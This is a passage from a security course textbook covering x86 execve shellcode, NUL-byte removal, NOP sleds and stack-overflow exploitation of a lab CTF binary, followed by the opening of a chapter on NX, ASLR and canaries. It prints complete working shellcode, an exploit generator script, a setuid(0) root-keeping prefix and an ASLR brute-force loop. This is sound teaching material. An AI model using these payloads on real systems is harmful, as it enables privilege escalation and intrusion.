mov    $0x14,%eax       # syscall number: getpid
int    $0x80            # trap into the kernel; pid comes back in %eax

Going deeper. On a 64-bit kernel, int $0x80 still works from a 64-bit process, but it always uses the 32-bit system-call table and truncates pointer arguments to 32 bits. A 64-bit shellcode that mixes int $0x80 with execve = 59 therefore calls the wrong function. And a 32-bit execve call whose string lives on a 64-bit stack fails, because the stack address does not fit in 32 bits. Match the trap instruction, the table, and the register convention.

5.3 Building an execve Shellcode

Our goal is the assembly equivalent of:

char *argv[] = { "/bin/sh", NULL };
execve("/bin/sh", argv, NULL);

On 32-bit Linux that means: when we execute int $0x80,

  %eax = 11                       (execve)
  %ebx = address of "/bin/sh\0"   (filename)
  %ecx = address of argv[],       where argv[0] = address of "/bin/sh"
                                        argv[1] = 0
  %edx = 0                        (envp = NULL: no environment)

The hard part is that we do not know any addresses. The shellcode will run from somewhere on the stack, and we will not know exactly where until the attack happens. So we cannot write mov $0xffffd0a0,%ebx. The standard trick is to build the data on the stack at run time and use %esp itself as the address. At any moment %esp points at whatever we pushed last, wherever the stack happens to be. Code that works no matter where it is loaded is called position-independent.

Step 1: The string

"/bin/sh" is 7 bytes plus a terminating NUL. We push it as 4-byte words. Because the stack grows down and x86 is little-endian, we push the end of the string first, and each word’s bytes appear reversed in the immediate:

push $0x0               # the terminating NUL (and padding)
push $0x68732f2f        # "//sh"  ->  bytes 2f 2f 73 68
push $0x6e69622f        # "/bin"  ->  bytes 2f 62 69 6e
mov  %esp,%ebx          # ebx -> "/bin//sh\0"

Why //sh? We need a multiple of 4 bytes, and Linux treats repeated slashes in a path as one, so "/bin//sh" names the same file as "/bin/sh". Without the extra slash, the last word would be "/sh\0" = 0x0068732f, which contains a zero byte. We will soon see why that is a problem.

The slides split the string differently, as "//bi" + "n/sh". That gives "//bin/sh", which works for the same reason:

push $0x68732f6e        # "n/sh"  ->  bytes 6e 2f 73 68
push $0x69622f2f        # "//bi"  ->  bytes 2f 2f 62 69

We use this version from now on, to match the final shellcode below.

Step 2: The argument array

argv is an array of two pointers: the address of the string, then NULL. We build it the same way, last element first:

push $0x0               # argv[1] = NULL
push %ebx               # argv[0] = address of the string
mov  %esp,%ecx          # ecx -> argv

Step 3: The remaining registers and the trap

mov  $0x0,%edx          # envp = NULL
mov  $0xb,%eax          # execve
int  $0x80

After Steps 1 and 2 the stack looks like this. %ebx and %ecx point into it.

            higher addresses
         +------------------+
         | 00 00 00 00      |   terminator
         +------------------+
         | 6e 2f 73 68      |   "n/sh"
         +------------------+  <-- ebx  ("//bin/sh\0")
         | 2f 2f 62 69      |   "//bi"
         +------------------+
         | 00 00 00 00      |   argv[1] = NULL
         +------------------+  <-- ecx  (argv)
         | address in ebx   |   argv[0]
         +------------------+  <-- esp
            lower addresses

If the call succeeds, execve never returns. The process becomes /bin/sh.

5.4 The Zero-Byte Problem

Assemble the first draft and look at the machine code:

6a 00                   push   $0x0
...
ba 00 00 00 00          mov    $0x0,%edx
b8 0b 00 00 00          mov    $0xb,%eax
cd 80                   int    $0x80

It is full of 00 bytes. That is fatal for the delivery channel. The shellcode will be copied into the victim’s buffer by strcpy, which stops at the first 0x00 (Chapter 4, Section 4.8). Everything after the first zero would never reach the buffer. gets has the same problem with 0x0a (newline), and other channels forbid other bytes. Writing shellcode is largely the art of expressing the same computation without the forbidden bytes.

The standard substitutions:

Instead ofUseWhy it works
mov $0x0,%eax (b8 00 00 00 00)xor %eax,%eax (31 c0)x XOR x = 0, and the encoding has no zero bytes.
push $0x0 (6a 00)push %eax (50) after zeroing %eaxPushes a register that already holds 0.
mov $0x0,%edxmov %eax,%edx (89 c2) or xor %edx,%edxCopy zero from a register.
mov $0xb,%eax (b8 0b 00 00 00)movb $0xb,%al (b0 0b)Writes only the low byte. The upper 24 bits are already 0.
"/bin/sh\0" as one word"/bin//sh" + a separately pushed zeroKeeps every immediate free of zeros.

The movb trick deserves a second look. %al is the low 8 bits of %eax (Chapter 3). A 32-bit mov of the constant 11 needs a 4-byte immediate, three bytes of which are zero. An 8-bit mov needs one byte. That is correct only because we zeroed all of %eax first with xor. Leaving garbage in the upper bytes would make the system-call number wrong.

5.5 The Final Shellcode

Applying all the substitutions gives the 25-byte shellcode used throughout this course:

xor   %eax,%eax          # eax = 0
mov   %eax,%edx          # edx = 0                      (envp = NULL)
push  %eax               # string terminator
push  $0x68732f6e        # "n/sh"
push  $0x69622f2f        # "//bi"
mov   %esp,%ebx          # ebx -> "//bin/sh"            (filename)
push  %eax               # argv[1] = NULL
push  %ebx               # argv[0] = "//bin/sh"
mov   %esp,%ecx          # ecx -> argv                  (argv)
movb  $0xb,%al           # eax = 11                     (execve)
int   $0x80

Here is its disassembly, with the encoding of each instruction:

   0:   31 c0                   xor    %eax,%eax
   2:   89 c2                   mov    %eax,%edx
   4:   50                      push   %eax
   5:   68 6e 2f 73 68          push   $0x68732f6e
   a:   68 2f 2f 62 69          push   $0x69622f2f
   f:   89 e3                   mov    %esp,%ebx
  11:   50                      push   %eax
  12:   53                      push   %ebx
  13:   89 e1                   mov    %esp,%ecx
  15:   b0 0b                   mov    $0xb,%al
  17:   cd 80                   int    $0x80

As a Python byte string:

shellcode = (
    b"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    b"\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)
assert len(shellcode) == 25 and b"\x00" not in shellcode

There is not a single zero byte. There are no absolute addresses, so the code runs from wherever it lands. And at 25 bytes it fits easily inside a 64-byte buffer.

Assembling and testing it in isolation

Never debug a shellcode inside an exploit. Too many things can go wrong at once. Test it on its own first. Save the assembly above, with a label, as sc.s:

        .globl _start
        .text
_start:
        xor   %eax,%eax
        # ... the remaining instructions ...
        int   $0x80

Then assemble, link, run, and dump it:

$ as --32 -o sc.o sc.s
$ ld -m elf_i386 -o sc sc.o
$ ./sc
$ echo $0                  # we are in the new shell
sh
$ exit
$ objdump -d sc.o          # produces the listing above
$ objcopy -O binary -j .text sc.o sc.bin
$ xxd sc.bin
00000000: 31c0 89c2 5068 6e2f 7368 682f 2f62 6989  1...Phn/shh//bi.
00000010: e350 5389 e1b0 0bcd 80                   .PS......

The second test checks the bytes exactly as an exploit will use them, from a C harness that copies them into executable memory and jumps there:

/* test_sc.c -- gcc -m32 -o test_sc test_sc.c */
#include <string.h>
#include <sys/mman.h>

const char code[] =
    "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    "\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
    void *p = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(p, code, sizeof(code));
    ((void (*)(void))p)();          /* jump into the bytes */
    return 0;
}

If running ./test_sc gives you a $ prompt, the shellcode is good. Any later failure is in the delivery, not in the payload.

Note. The harness maps a page with PROT_EXEC explicitly. That is the same permission -z execstack grants to the stack. Without it, the jump would fault with SIGSEGV on the first instruction. That is the non-executable-memory defense of Chapter 6 at work.

5.6 Delivering the Shellcode

Now combine the overflow from Chapter 4 with the shellcode. The payload has three parts: the shellcode, padding to reach the return address, and a new return address pointing into the payload.

The problem: where exactly is buf?

In Chapter 4 the return target was target(), whose address in a non-PIE binary never changes. Now the target is on the stack. Even with ASLR off, the exact address of buf depends on everything above it on the stack: the environment strings, the argument strings (including the payload itself), and the program name (Section 4.9). The same program can put buf at slightly different addresses depending on how it is launched.

A jump that is off by even one byte lands in the middle of an instruction and almost certainly crashes. The attacker needs a way to tolerate an imprecise guess.

The NOP sled

The x86 instruction nop (encoding 0x90) does nothing except advance %eip to the next byte. Fill a large region before the shellcode with nops, and any jump into that region “slides” forward, one byte at a time, until it reaches the shellcode:

                    high addresses
                 +---------------------+
       ebp+4     | ret = guessed addr  |-----+
                 +---------------------+     |
                 | 90 90 90 90 ...     |     |
       ebp       | (overwrites saved   |     |
                 |  ebp, ebx, padding) |     |
                 +---------------------+     |
                 | shellcode (25 B)    |     |
                 +---------------------+     |
                 | 90 90 90 90 90 90   | <---+  landing anywhere in here
                 | 90 90 90 90 90 90   |        slides into the shellcode
       ebp-0x48  | 90 90 90 90 90 90   |
                 +---------------------+
                    low addresses

Because nop is a single byte, the jump can land on any byte of the sled and still execute correctly. The success window grows from one exact address to the full length of the sled.

An exploit generator

The course’s exploit skeleton for stack0x04 (derived from the SEED lab template) puts these pieces together:

#!/usr/bin/python3
import sys

shellcode = (
    "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    "\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
).encode('latin-1')

content = bytearray(0x90 for i in range(100))   # 100 bytes of NOPs

start = 16                                      # where the shellcode goes
content[start:start + len(shellcode)] = shellcode

ret    = 0xffffcfd0                             # change this: the guessed address
offset = 76                                     # change this: buf -> return address

L = 4                                           # 4 for 32-bit, 8 for 64-bit addresses
content[offset:offset + L] = (ret).to_bytes(L, byteorder='little')

sys.stdout.buffer.write(content)

Line by line:

  • .encode('latin-1') turns a str of code points 0–255 into the identical bytes. (UTF-8 would mangle every byte ≥ 0x80, exactly the print() pitfall from Chapter 4.) Writing a b"..." literal directly is equivalent.
  • bytearray(0x90 ...) builds a mutable 100-byte buffer full of nops, so every byte we do not set explicitly is part of a sled.
  • start = 16 places the shellcode at offset 16. Offsets 0–15 form a 16-byte sled in front of it. Offsets 41–75 are more nops that follow the shellcode and are never executed.
  • offset = 76 is the distance from buf to the saved return address, found with any method from Chapter 4, Section 4.7.
  • ret must point at or before the shellcode’s first byte, and inside the sled. Here that means anywhere in [&buf, &buf + 16].
  • to_bytes(L, byteorder='little') encodes the address little-endian.
  • The final bytes 80–99 overwrite the stack above the return address. They are harmless here, but keep in mind that they exist.

Run it:

$ python3 exploit.py > badfile
$ ./stack0x04 "$(cat badfile)"
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed)

The # prompt and euid=0(root) show that we are running a shell with the Set-UID program’s privilege. (Section 5.8 explains why your shell might not be root, and what to do about it.)

A more robust layout: shellcode above the return address

The layout above puts the shellcode inside buf, which limits the sled to the space before the shellcode. A common alternative puts the shellcode after the return address, where only the length of the input limits the sled:

  [ filler: 76 bytes ][ ret ][ NOP NOP NOP ... NOP ][ shellcode ]
                        |       ^
                        +-------+  point ret somewhere into this long sled

With 300 bytes of sled you can be off by nearly 300 bytes and still succeed. Lab 3’s exploit uses this idea: its shellcode sits near the end of a 1500-byte payload.

Note: shellcode that destroys itself. After ret, %esp points just above the overwritten return address. Every push in the shellcode writes below %esp. If the shellcode itself sits just below %esp, its own pushes can overwrite instructions it has not executed yet. In the layout above, the shellcode ends 35 bytes below the return address and pushes only 20 bytes, so it is safe. If a shellcode mysteriously crashes halfway through, check for this. A fix is to start the shellcode with sub $0x40,%esp (encoded without zero bytes) to move the stack out of the way.

5.7 Why GDB Lies About Addresses

The natural way to choose ret is to run the program under GDB, print &buf, and use that value. That often almost works. The shellcode runs inside GDB but segfaults outside it. The reason is the stack layout from Section 4.9. Everything above main’s frame depends on how the program was launched, and GDB launches it differently from your shell:

  • Extra environment variables. GDB sets LINES and COLUMNS in the debuggee’s environment. Those strings sit at the top of the stack, so every frame below them, including buf, moves down.
  • A different program name. GDB runs the program by its absolute path (/home/seed/ctf/stack0x04). You may type ./stack0x04. argv[0] is on the stack too, and its length shifts everything.
  • Different arguments. If you test with a short input and attack with a long one, argv[1]’s size changes as well. Always debug with the same payload you will attack with: gdb --args ./stack0x04 "$(cat badfile)".

The differences are usually a few dozen bytes, and a NOP sled is designed to absorb exactly that. You can also remove them:

$ gdb -q --args /home/seed/ctf/stack0x04 "$(cat badfile)"
pwndbg> unset env LINES
pwndbg> unset env COLUMNS
pwndbg> break vul
pwndbg> run
pwndbg> p &buf

Then run the real attack with the same absolute path. Other approaches include printing the buffer’s address from inside the program (Lab 3’s server does this for you) and inspecting a core dump from the real run (ulimit -c unlimited). A core dump shows the real addresses, with no debugger in the way.

5.8 When the Shell Drops Your Privilege

On Ubuntu, /bin/sh is a symbolic link to dash. Chapter 2 noted that dash (and bash) protect against exactly this scenario. When a shell starts with an effective UID different from its real UID, as it does when launched from a Set-UID root program, it resets the effective UID to the real UID. The shellcode works, but the resulting shell runs as you, not as root.

There are two standard ways around it:

  1. Make the real UID root too. Before execve, call setuid(0). A process whose effective UID is root may set all its UIDs to 0. After that the shell sees ruid == euid == 0 and has nothing to drop. On 32-bit Linux, prepend:

    31 db         xor   %ebx,%ebx      # ebx = 0 (uid)
    31 c0         xor   %eax,%eax
    b0 d5         movb  $0xd5,%al      # 213 = setuid32
    cd 80         int   $0x80
    

    (setuid32, number 213, is the full 32-bit-UID variant on i386. The old setuid, number 23, would also work for UID 0.)

  2. Ask the shell not to drop. Both dash and bash keep their privilege when run with -p. The shellcode then needs argv = {"/bin/bash", "-p", NULL}, a slightly longer construction on the stack.

For lab experiments you can also point /bin/sh at a shell without this countermeasure (sudo ln -sf /bin/zsh /bin/sh), as Lab 2 does for its first tasks. Remember to restore it afterwards. Lab 2’s optional Task 4 defeats the countermeasure properly, using the -p idea in a return-to-libc setting.

5.9 A Brief History

The idea of injecting code through an overflow is older than most of the people reading this book.

  • 1988, the Morris worm. In November 1988, a self-replicating program written by Robert T. Morris spread across the early Internet and infected an estimated several thousand machines, a sizable fraction of the network at the time. One of its propagation methods overflowed a 512-byte stack buffer in the fingerd daemon, which read its request with gets(). The worm sent a 536-byte request that overwrote the return address and injected VAX code that ran /bin/sh. It was one of the first Internet worms, and the first to draw wide mainstream media attention.
  • 1996, “Smashing the Stack for Fun and Profit.” Aleph One’s article in Phrack issue 49 explained, step by step and for a broad audience, how to find stack overflows, how to write execve shellcode, how to remove NUL bytes, and how to use NOP sleds. Much of this chapter follows the structure it established. It is still worth reading.
  • Late 1990s–2000s. Stack-smashing worms became a fact of Internet life. Code Red (2001) and SQL Slammer (2003) both spread through buffer overflows in widely deployed server software. This pressure produced the defenses of Chapter 6.

5.10 Beyond the Stack Buffer Overflow

The stack overflow is one member of a larger family of memory-safety errors. Each of the following can corrupt or disclose memory, and you will meet most of them again:

  • Intra-object (intra-struct) overflow. A buffer overflows into a neighboring field of the same structure:

    struct user {
        char name[16];
        int  is_admin;
    };
    strcpy(u->name, input);     /* 17+ bytes reach is_admin */
    

    Nothing leaves the object, so defenses that guard object boundaries (canaries between frames, guard pages between heap chunks, and even most sanitizers) do not notice.

  • Out-of-bounds read. Reading past a buffer does not change control flow, but it discloses memory: secrets, pointers that defeat ASLR, or canary values. The Heartbleed bug in OpenSSL (CVE-2014-0160) was an out-of-bounds read driven by an attacker-supplied length field (Chapter 12 and the Rust lab revisit it).

  • Heap overflow. The same overflow, in memory obtained from malloc. Instead of return addresses, the neighbors are other heap objects (often containing function pointers) and the allocator’s own metadata.

  • Format-string bugs. A completely different mechanism that gives the attacker arbitrary reads and writes. It is the subject of Chapter 10.

Exploit Education’s Phoenix series (see Further Reading) has graded exercises for each of these.

5.11 Looking Ahead

Code injection needs three things to go right: the attacker can overwrite a code pointer, can predict where the injected code is, and the CPU is willing to execute data. Each requirement suggests a defense:

RequirementDefense (Chapter 6)
Overwrite the return addressStack canaries detect the overwrite before ret.
Predict the address of bufASLR randomizes the stack base on every run.
Execute bytes on the stackNon-executable stack (NX/DEP) faults on the first injected instruction.

All three are on by default on a modern Linux system. That is why this chapter had to turn them off. Getting around them, especially the non-executable stack, drove attackers toward reusing code that is already executable (Chapter 7).

Check Your Understanding

1. Why does the shellcode push the string onto the stack and use %esp, rather than storing "/bin/sh" at a fixed address and loading that address into %ebx?

Answer

The attacker does not know in advance where the shellcode will be in memory. The stack’s exact address depends on the environment, the arguments, and (with ASLR) randomness. Building the data on the stack and taking its address from %esp makes the shellcode position-independent: it computes the correct address at run time, wherever it runs. A hard-coded address would also very likely contain bytes the delivery channel cannot carry.

2. Find the zero bytes: mov $0xb,%eax encodes as b8 0b 00 00 00. Give two different zero-free instruction sequences that leave %eax = 11.

Answer

xor %eax,%eax; movb $0xb,%al (31 c0 b0 0b) is the standard one. Another is push $0xb; pop %eax (6a 0b 58). The 8-bit immediate is sign-extended to 32 bits when pushed, and pop loads the full register. Also correct: xor %eax,%eax; inc %eax repeated, or xor %eax,%eax; add $0xb,%al. In every variant the upper bytes must be known to be zero.

3. What are the values of %eax, %ebx, %ecx, and %edx at the moment the final shellcode executes int $0x80? Describe pointers by what they point to.

Answer

%eax = 11 (execve). %ebx points to the NUL-terminated string "//bin/sh" on the stack. %ecx points to a two-element array on the stack: { address of "//bin/sh", NULL }. %edx = 0 (NULL environment).

4. An exploit works inside GDB but segfaults when run from the shell. Give two reasons the address of buf might differ, and two ways to deal with it.

Answer

Reasons: GDB adds the environment variables LINES and COLUMNS. GDB runs the program with an absolute path, so argv[0] has a different length. Also, the input used in GDB may have had a different length from the attack payload. All of these strings sit at the top of the stack and shift every frame below them. Fixes: use a large NOP sled and aim into its middle; unset env LINES / unset env COLUMNS in GDB and launch with the same absolute path and payload; read the real address from a core dump; or have the program print the address.

5. Your shellcode gives a shell, but id shows uid=1000(seed) with no euid=0, even though the vulnerable program is Set-UID root. What happened, and how can the shellcode be fixed?

Answer

/bin/sh is dash, which detects that its effective UID differs from its real UID and drops back to the real UID. Fix it by calling setuid(0) in the shellcode before execve (on i386: xor %ebx,%ebx; xor %eax,%eax; movb $0xd5,%al; int $0x80), so that the real UID becomes 0 too. Alternatively, execve /bin/bash or /bin/dash with the -p flag.

6. Give the 64-bit equivalents of the following for an execve("/bin/sh", argv, NULL) shellcode: the trap instruction, the system-call number, and the registers for the three arguments. Why can’t you simply reuse the 32-bit shellcode in a 64-bit process?

Answer

syscall, number 59 (0x3b) in %rax, arguments in %rdi, %rsi, %rdx. The 32-bit shellcode uses int $0x80, which goes to the 32-bit system-call table and truncates pointer arguments to 32 bits. Stack addresses in a 64-bit process do not fit in 32 bits, so the pointers to the string and to argv would be wrong. In addition, push in 64-bit mode pushes 8 bytes, so the stack layout of the strings and the array would differ anyway.

7. Which single defense would stop the attack in Section 5.6 even if the attacker knew the exact address of buf? Which defense makes guessing that address hard?

Answer

A non-executable stack (NX/DEP) stops it regardless of address knowledge. The CPU faults when %eip reaches a stack page. A stack canary would also stop this particular overflow, because it is detected before ret. ASLR makes the address hard to guess by randomizing the stack base on every execution, so a hard-coded ret value is wrong most of the time.

Summary

  • Code injection places machine code in the attacker’s input and redirects control flow to it. Shellcode is such code, typically one that runs execve("/bin/sh").
  • A system call asks the kernel for service. On 32-bit Linux: int $0x80, number in %eax, arguments in %ebx, %ecx, %edx, and execve = 11. On 64-bit: syscall, %rax, %rdi, %rsi, %rdx, and execve = 59.
  • Good shellcode is position-independent (it builds data on the stack and uses %esp) and free of forbidden bytes (xor instead of mov $0, movb into %al, "/bin//sh").
  • Test shellcode in isolation (as/ld/objdump, or an mmap harness) before using it in an exploit.
  • Stack addresses vary with the environment, the arguments, and the program path. A NOP sled turns an exact-address problem into a range problem. GDB’s environment differs from the shell’s, so debug with care.
  • Shells drop Set-UID privilege. Prepend setuid(0) or use -p.
  • Code injection depends on an executable stack, a predictable address, and an undetected overwrite. These are the three things Chapter 6 takes away.

Connection to the Labs

  • The s2CTF playground level stack0x04 (https://github.com/sysec-uic/s2ctf-playground) is the exact target of Section 5.6. Fill in the exploit skeleton, aim ret into your sled, and read /ctf/key4.
  • Lab 2 turns the non-executable stack on, so the shellcode in this chapter no longer runs. That is the motivation for return-to-libc. Its optional Task 4 revisits the dash countermeasure from Section 5.8.
  • Lab 3, Task 4 injects shellcode into a root network server through a format-string write instead of a strcpy overflow. The shellcode and the return-address target are the same ideas as here. The shellcode there runs /bin/bash -c "<command>", which you will turn into a reverse shell (Chapter 11).

Further Reading

Chapter 6: Exploit Mitigations: NX, ASLR, and Stack Canaries

Chapters 4 and 5 built the classic stack-smashing attack: overflow a buffer, overwrite the saved return address, and jump into shellcode that you placed on the stack yourself. To make that work in the lab, we had to switch off a surprising number of things — we compiled with -z execstack -fno-stack-protector -no-pie, and we disabled address randomization in the kernel. Each of those switches turns off a defense that modern systems enable by default.

This chapter turns them back on, one at a time. For each defense we ask the same four questions: what exactly does it do, which step of the attack does it break, what does it cost, and how do attackers get around it? The last question matters as much as the first. None of these mitigations removes the underlying bug — the out-of-bounds write is still there — so each one closes a door and attackers go looking for the next one. That arms race is what drives the following chapters.

Learning objectives. After this chapter you should be able to:

  • Describe the four layers at which buffer-overflow countermeasures are applied: developer, hardware, operating system, and compiler.
  • Explain how a non-executable stack (NX/DEP) stops code injection, how to check and change it for a binary, and why it does not stop code reuse.
  • Explain what ASLR randomizes, what position-independent executables add, and why low entropy and information leaks undermine it.
  • Explain how a stack canary detects an overflow, where the compiler places it, and the attacks a canary does not stop.
  • Use checksec and the relevant gcc flags to determine and control which mitigations a binary has.

6.1 Where Can We Stop the Attack?

Recall the steps of the attack from Chapter 5:

  1. The program copies attacker input into a fixed-size buffer without a length check.
  2. The copy runs past the buffer and overwrites the saved return address.
  3. The attacker knows (or guesses) the address of the shellcode.
  4. When the function returns, the CPU jumps to that address and executes the bytes on the stack as instructions.

Every step is a chance for a defense, and different parts of the system are in a position to provide one:

LayerCountermeasureBreaks step
DeveloperSafer functions, bounds checks, memory-safe languages1
CompilerStack canaries (StackGuard), variable reordering2 (detects the overwrite)
Operating systemAddress space layout randomization (ASLR)3
HardwareNon-executable memory (NX / XD / DEP)4

Defense in depth (Chapter 1) says we should deploy all of them, so that one failure is not fatal. Let us go through them in order.

6.2 Developer Approaches: Don’t Write the Bug

The best fix is not to overflow in the first place. The C standard library contains several functions that copy data with no idea how large the destination is — strcpy, strcat, sprintf, gets, and scanf("%s", ...) — and each has a bounded counterpart that takes a size.

UnboundedBounded alternativePitfall of the alternative
gets(buf)fgets(buf, sizeof buf, stdin)Keeps the trailing newline. (gets was removed from C11 altogether.)
strcpy(d, s)strncpy(d, s, n)Does not NUL-terminate d if strlen(s) >= n.
strcat(d, s)strncat(d, s, n)n is the number of characters to append, not the size of d.
sprintf(d, fmt, ...)snprintf(d, n, fmt, ...)Truncates silently; returns the length it would have written.
strcpy(d, s)strlcpy(d, s, n) (BSD; glibc since 2.38)Truncates silently; always NUL-terminates.

The pitfalls column is the important one. Bounded functions are easy to misuse, and a misused bounded function is often just a different bug:

char buf[16];
strncpy(buf, input, sizeof buf);   /* if input has >= 16 chars, buf has no '\0' */
printf("%s\n", buf);               /* reads past the end of buf: info leak      */

char path[64] = "/home/";
strncat(path, user, sizeof path);  /* wrong: should be sizeof path - strlen(path) - 1 */

The correct idioms are:

strncpy(buf, input, sizeof buf - 1);
buf[sizeof buf - 1] = '\0';

strncat(path, user, sizeof path - strlen(path) - 1);

if (snprintf(out, sizeof out, "%s/%s", dir, file) >= (int)sizeof out)
    /* handle truncation */;

Developer discipline helps, and so do static analyzers and compiler warnings. But decades of experience show that in large C code bases someone will eventually get one length computation wrong. That is why the remaining three layers exist: they assume the bug is there and try to make it unexploitable. The most thorough developer-level fix — a language in which the overflow cannot be expressed, such as Rust — is the topic of the optional Rust lab.

6.3 Hardware: The Non-Executable Stack (NX / DEP)

The idea

Code injection depends on the CPU being willing to execute bytes that the program wrote as data. But a stack holds return addresses, saved registers, and local variables — there is almost never a legitimate reason to execute it. So: mark the stack’s pages as non-executable, and an attempt to run shellcode there faults.

This is the “keep code and data separate” principle from Chapter 1, enforced by hardware. On x86 the page-table entry for each page has an NX (“no-execute”) bit — AMD’s name; Intel calls it XD (“execute disable”). On 32-bit x86 the bit exists only when the kernel uses PAE page tables, which all modern distributions do. When the bit is set and the CPU tries to fetch an instruction from that page, it raises a page fault, and the kernel kills the process with SIGSEGV. Windows calls the feature DEP (Data Execution Prevention); OpenBSD’s generalization of it is W^X: a page may be writable or executable, never both.

Checking and changing a binary

Whether a program’s stack is executable is recorded in the ELF file itself, in a program header named PT_GNU_STACK. The linker sets it; the kernel’s loader reads it when it maps the stack. You can inspect it with readelf:

$ readelf -W -l stack0x04 | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

The flags column says RWE: read, write, execute. That binary was compiled with -z execstack, which is how the s2CTF levels in Chapters 4 and 5 kept shellcode working. Without that flag — the default — you get RW:

$ gcc -m32 -o prog prog.c                    # default: non-executable stack
$ readelf -W -l prog | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

The execstack utility (package execstack on Ubuntu 20.04) flips the flag on an existing binary without recompiling:

$ sudo execstack -c stack0x04        # clear: make the stack non-executable
$ readelf -W -l stack0x04 | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
$ sudo execstack -s stack0x04        # set it back

Try it. Take the shellcode exploit you wrote for stack0x04 in Chapter 5. Run execstack -c on the binary and replay exactly the same payload. The return address is still overwritten, and the CPU still jumps to your NOP sled — and then the process dies with Segmentation fault. Under gdb you will see the fault reported at the first address on the stack that the CPU tried to execute, not at some later instruction.

What NX does not stop

Look again at the four steps in Section 6.1. NX breaks only step 4: executing injected bytes. The overflow (step 1) still happens, the return address is still overwritten (step 2), and the attacker still controls where the CPU goes next. If the attacker sends the CPU somewhere that is already executable — a function in the C library, say — NX has nothing to object to.

That is exactly the attack of Chapter 7: code reuse. Rather than injecting execve("/bin/sh") as shellcode, the attacker returns into libc’s own system() with a pointer to "/bin/sh" as its argument. NX killed code injection and in doing so created the incentive to develop code reuse.

Note. NX is essentially free at run time — the check is done by the MMU in parallel with every instruction fetch. Its cost is compatibility: a few programs legitimately generate code into writable memory (JIT compilers, some uses of GCC’s nested functions, which build trampolines on the stack). Those programs must request executable memory explicitly with mmap/mprotect, or opt out with -z execstack.

6.4 Operating System: Address Space Layout Randomization (ASLR)

The idea

Step 3 of the attack needs an address: where is the shellcode, or where is system()? In Chapter 5 we found these by running the program under gdb and reading them off, which only works if they are the same in every run. ASLR makes them different every run. Each time a program is started, the kernel picks random base addresses for the regions of its address space, so an address learned from one run (or from your own copy of the program) is useless against the next.

You can see it directly. /proc/self/maps shows the memory map of whichever process reads it, so running cat twice shows two different processes:

$ cat /proc/self/maps | grep -E 'stack|libc' | head -3
7f3a1c8d2000-7f3a1c8f4000 r--p 00000000 08:05 1835231   /usr/lib/x86_64-linux-gnu/libc-2.31.so
...
7ffd6c2e1000-7ffd6c302000 rw-p 00000000 00:00 0          [stack]
$ cat /proc/self/maps | grep -E 'stack|libc' | head -3
7f0b44e6b000-7f0b44e8d000 r--p 00000000 08:05 1835231   /usr/lib/x86_64-linux-gnu/libc-2.31.so
...
7ffe1a9a6000-7ffe1a9c7000 rw-p 00000000 00:00 0          [stack]

(Your addresses will differ — that is the point.) Notice that the low 12 bits of every base address are zero: randomization happens at page granularity, a fact we will come back to.

The randomize_va_space knob

Linux controls ASLR system-wide with one sysctl:

kernel.randomize_va_spaceEffect
0No randomization. Every run gets the same layout.
1Randomize the stack, the mmap region (and therefore shared libraries), and the vDSO.
2Everything in 1, plus the heap (the brk area). This is the default.
$ cat /proc/sys/kernel/randomize_va_space
2
$ sudo sysctl -w kernel.randomize_va_space=0     # what Labs 2 and 3 ask you to do

To disable randomization for a single process instead of the whole machine, use setarch:

$ setarch "$(uname -m)" -R ./prog        # -R = --addr-no-randomize

Note. gdb does the same thing on your behalf: its disable-randomization setting is on by default, so programs run under gdb always get the same layout even when system-wide ASLR is enabled. This is a classic source of confusion — an exploit that works perfectly inside gdb fails outside it. Use set disable-randomization off inside gdb to see the real behavior.

What about the program itself? PIC and PIE

ASLR as described so far randomizes the stack, heap, and libraries. What about the main executable’s own code and global data? That depends on how the executable was compiled.

Code that will be loaded at an unknown address must avoid hard-coding absolute addresses. Shared libraries have always had to work this way — that is what position-independent code (PIC) means. Calls and jumps on x86 are already PC-relative, so the hard part is data: on 32-bit x86 there is no instruction that says “load from EIP + offset”, so PIC code calls a tiny helper, __x86.get_pc_thunk.bx, to get its own address into %ebx, and then accesses globals and the GOT relative to %ebx. (x86-64 added RIP-relative addressing, which makes PIC nearly free.) Compare a non-PIC and a PIC access to a global variable g:

# gcc -m32 -no-pie -fno-pic                 # gcc -m32 -fpie -pie (default)
mov    0x804c024,%eax     # absolute         call   __x86.get_pc_thunk.bx
                                             add    $0x2e1f,%ebx      # %ebx = GOT base
                                             mov    0x24(%ebx),%eax   # relative to it

An executable compiled this way is a position-independent executable (PIE), and the kernel can load it at a random base like any library. Ubuntu has built PIE by default since 17.10. A non-PIE 32-bit executable always loads at 0x08048000; a PIE loads somewhere random, or — with ASLR disabled — at a fixed address, typically 0x56555000 for 32-bit programs. That is why the gdb listings in the format-string chapter show addresses like 0x56556240, while the s2CTF binaries, built with -no-pie -fno-pic, show addresses like 0x080491a6.

The practical consequence for an attacker: in a non-PIE binary, even with full ASLR, the program’s own code, its PLT, and its GOT are at fixed, known addresses. As Chapter 7 shows, that alone can be enough to build an exploit.

Weaknesses of ASLR

ASLR does not remove the vulnerability; it hides the target. Hiding has two weaknesses.

1. Low entropy (brute force). On 32-bit x86, there is not much room to randomize in. Page alignment fixes the low 12 bits, the kernel needs the high bits to keep regions in their places, and what remains is small: by default Linux uses only 8 bits of randomness for the mmap base on 32-bit x86 (/proc/sys/vm/mmap_rnd_bits; 28 bits on x86-64). With 8 bits, a guessed libc address is right once in 256 tries. If the target restarts after each crash — a network daemon supervised by systemd, a Set-UID program you can run in a loop — simply trying until it works is entirely practical:

# brute-forcing ASLR on 32-bit: run the same exploit until the guess is right
while true; do ./vulnerable "$(cat payload)" && break; done

